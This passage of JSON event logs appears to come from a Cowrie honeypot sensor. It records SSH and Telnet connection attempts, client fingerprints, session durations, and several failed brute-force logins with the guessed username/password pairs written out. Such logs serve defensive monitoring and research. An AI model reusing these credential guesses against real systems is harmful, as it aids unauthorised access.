.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:30.334321Z","src_ip":"186.10.86.130","session":"43bca7ebc869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:30.604928Z","src_ip":"115.68.208.117","session":"9ccbc48f6db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer123$","message":"login attempt [ubuntu/Qwer123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:30.947865Z","src_ip":"186.10.86.130","session":"43bca7ebc869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56908,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a77c1fd112","protocol":"telnet","message":"New connection: 38.60.198.128:56908 (159.203.135.109:23) [session: 26a77c1fd112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:31.304120Z"}
{"eventid":"cowrie.session.closed","duration":120.00103116035461,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:31.405095Z","src_ip":"38.60.198.128","session":"cd5107da5413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:32.096352Z","src_ip":"186.10.86.130","session":"43bca7ebc869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59956,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a95b765287a","protocol":"telnet","message":"New connection: 38.60.198.128:59956 (159.203.135.109:23) [session: 2a95b765287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:32.226535Z"}
{"eventid":"cowrie.session.closed","duration":38.6339054107666,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:35.638517Z","src_ip":"38.60.198.128","session":"23dd8b7fa87e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.544649839401245,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:36.028612Z","src_ip":"38.60.198.128","session":"41cb4db14818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.441303730010986,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:37.225466Z","src_ip":"38.60.198.128","session":"6838c2c09f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47720,"dst_ip":"159.203.135.109","dst_port":23,"session":"280767bfbc00","protocol":"telnet","message":"New connection: 38.60.198.128:47720 (159.203.135.109:23) [session: 280767bfbc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:41.794207Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42938,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa45757d368d","protocol":"telnet","message":"New connection: 45.81.23.16:42938 (10.17.0.5:23) [session: aa45757d368d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:42.268977Z"}
{"eventid":"cowrie.session.closed","duration":45.33687210083008,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:42.519546Z","src_ip":"38.60.198.128","session":"948e25b8f876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":42946,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f3ee79e539f","protocol":"telnet","message":"New connection: 45.81.23.16:42946 (10.17.0.5:23) [session: 2f3ee79e539f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:43.363559Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52332,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c53b28ca24","protocol":"telnet","message":"New connection: 38.60.198.128:52332 (159.203.135.109:23) [session: 70c53b28ca24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:46.064718Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40028,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f902504cf14","protocol":"telnet","message":"New connection: 38.60.198.128:40028 (159.203.135.109:23) [session: 7f902504cf14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:46.415641Z"}
{"eventid":"cowrie.session.closed","duration":0.0054988861083984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:46.421024Z","src_ip":"38.60.198.128","session":"7f902504cf14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56330,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1bbcac1257b","protocol":"telnet","message":"New connection: 38.60.198.128:56330 (159.203.135.109:23) [session: c1bbcac1257b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:48.079601Z"}
{"eventid":"cowrie.session.closed","duration":6.336480617523193,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:49.699928Z","src_ip":"45.81.23.16","session":"2f3ee79e539f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"732a7cb99f48","protocol":"telnet","message":"New connection: 38.60.198.128:58456 (159.203.135.109:23) [session: 732a7cb99f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:50.193287Z"}
{"eventid":"cowrie.session.closed","duration":9.510632514953613,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:51.779513Z","src_ip":"45.81.23.16","session":"aa45757d368d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60870,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ca6cc0254a","protocol":"telnet","message":"New connection: 38.60.198.128:60870 (159.203.135.109:23) [session: 23ca6cc0254a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:52.210514Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33666,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe26d7626e91","protocol":"telnet","message":"New connection: 38.60.198.128:33666 (159.203.135.109:23) [session: fe26d7626e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:52.929293Z"}
{"eventid":"cowrie.session.closed","duration":31.467323064804077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:53.480275Z","src_ip":"38.60.198.128","session":"82aa18390899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48463702201843,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:54.457745Z","src_ip":"38.60.198.128","session":"2b189ff4c588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16333842277527,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:56.573246Z","src_ip":"38.60.198.128","session":"a4bde7311861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.09157872200012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:57.282166Z","src_ip":"38.60.198.128","session":"70a908c54d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60254454612732,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:03.050856Z","src_ip":"38.60.198.128","session":"eb6c8e666976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50110,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad9599276ea","protocol":"telnet","message":"New connection: 38.60.198.128:50110 (159.203.135.109:23) [session: dad9599276ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:06.483352Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54584,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f895af29b0","protocol":"telnet","message":"New connection: 38.60.198.128:54584 (159.203.135.109:23) [session: b8f895af29b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:09.101146Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb18e08a4ad","protocol":"telnet","message":"New connection: 38.60.198.128:53598 (159.203.135.109:23) [session: cdb18e08a4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:10.312612Z"}
{"eventid":"cowrie.session.closed","duration":38.15276908874512,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:10.379176Z","src_ip":"38.60.198.128","session":"2a95b765287a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54580,"dst_ip":"159.203.135.109","dst_port":23,"session":"510ba29a5840","protocol":"telnet","message":"New connection: 38.60.198.128:54580 (159.203.135.109:23) [session: 510ba29a5840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:11.128371Z"}
{"eventid":"cowrie.session.closed","duration":40.0312922000885,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:11.335275Z","src_ip":"38.60.198.128","session":"26a77c1fd112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"085366db5d37","protocol":"telnet","message":"New connection: 38.60.198.128:56904 (159.203.135.109:23) [session: 085366db5d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:11.812721Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35026,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb28777a957","protocol":"telnet","message":"New connection: 38.60.198.128:35026 (159.203.135.109:23) [session: 9fb28777a957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:16.232104Z"}
{"eventid":"cowrie.session.closed","duration":38.69714546203613,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:20.491209Z","src_ip":"38.60.198.128","session":"280767bfbc00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":50216,"dst_ip":"159.203.135.109","dst_port":22,"session":"7804c39aa8f1","protocol":"ssh","message":"New connection: 191.101.59.69:50216 (159.203.135.109:22) [session: 7804c39aa8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:20.980128Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7339ed2b467","protocol":"telnet","message":"New connection: 38.60.198.128:42162 (159.203.135.109:23) [session: d7339ed2b467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:21.037041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:21.096966Z","src_ip":"191.101.59.69","session":"7804c39aa8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:21.188313Z","src_ip":"191.101.59.69","session":"7804c39aa8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"roi","message":"login attempt [admin/roi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:22.223380Z","src_ip":"191.101.59.69","session":"7804c39aa8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:23.495671Z","src_ip":"191.101.59.69","session":"7804c39aa8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":11147,"dst_ip":"10.17.0.5","dst_port":22,"session":"10c39606652a","protocol":"ssh","message":"New connection: 115.68.208.117:11147 (10.17.0.5:22) [session: 10c39606652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:23.882645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:23.889327Z","src_ip":"115.68.208.117","session":"10c39606652a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:24.102060Z","src_ip":"115.68.208.117","session":"10c39606652a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres01","message":"login attempt [postgres/postgres01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:24.985739Z","src_ip":"115.68.208.117","session":"10c39606652a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.574482679367065,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:25.611405Z","src_ip":"38.60.198.128","session":"d7339ed2b467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.74683213233948,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:25.811434Z","src_ip":"38.60.198.128","session":"70c53b28ca24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69670343399048,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:25.889884Z","src_ip":"38.60.198.128","session":"732a7cb99f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:26.203616Z","src_ip":"115.68.208.117","session":"10c39606652a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49268,"dst_ip":"159.203.135.109","dst_port":23,"session":"e304cd9d0d24","protocol":"telnet","message":"New connection: 38.60.198.128:49268 (159.203.135.109:23) [session: e304cd9d0d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:27.035741Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50104,"dst_ip":"159.203.135.109","dst_port":23,"session":"616729d2c959","protocol":"telnet","message":"New connection: 38.60.198.128:50104 (159.203.135.109:23) [session: 616729d2c959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:28.659759Z"}
{"eventid":"cowrie.session.closed","duration":43.60783624649048,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:31.687328Z","src_ip":"38.60.198.128","session":"c1bbcac1257b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.8285129070282,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:33.038933Z","src_ip":"38.60.198.128","session":"23ca6cc0254a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57130,"dst_ip":"159.203.135.109","dst_port":23,"session":"5595b84beab6","protocol":"telnet","message":"New connection: 38.60.198.128:57130 (159.203.135.109:23) [session: 5595b84beab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:33.555893Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":44568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72f56ee3adc","protocol":"ssh","message":"New connection: 186.10.86.130:44568 (159.203.135.109:22) [session: d72f56ee3adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:33.794637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:33.800693Z","src_ip":"186.10.86.130","session":"d72f56ee3adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:33.943393Z","src_ip":"186.10.86.130","session":"d72f56ee3adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4ssw0rd","message":"login attempt [ubuntu/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:34.543840Z","src_ip":"186.10.86.130","session":"d72f56ee3adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.861871004104614,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:34.791106Z","src_ip":"38.60.198.128","session":"fe26d7626e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:35.691651Z","src_ip":"186.10.86.130","session":"d72f56ee3adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59796,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84dfb6e6b56","protocol":"telnet","message":"New connection: 38.60.198.128:59796 (159.203.135.109:23) [session: d84dfb6e6b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:35.787804Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f7028e0adba","protocol":"telnet","message":"New connection: 38.60.198.128:58612 (159.203.135.109:23) [session: 0f7028e0adba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:35.882560Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33420,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e02e819e2a3","protocol":"telnet","message":"New connection: 38.60.198.128:33420 (159.203.135.109:23) [session: 1e02e819e2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:37.245518Z"}
{"eventid":"cowrie.session.closed","duration":120.00117707252502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:37.501527Z","src_ip":"38.54.119.93","session":"df942a76e5cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33408,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c4ff87468d","protocol":"telnet","message":"New connection: 38.60.198.128:33408 (159.203.135.109:23) [session: 32c4ff87468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:42:38.283535Z"}
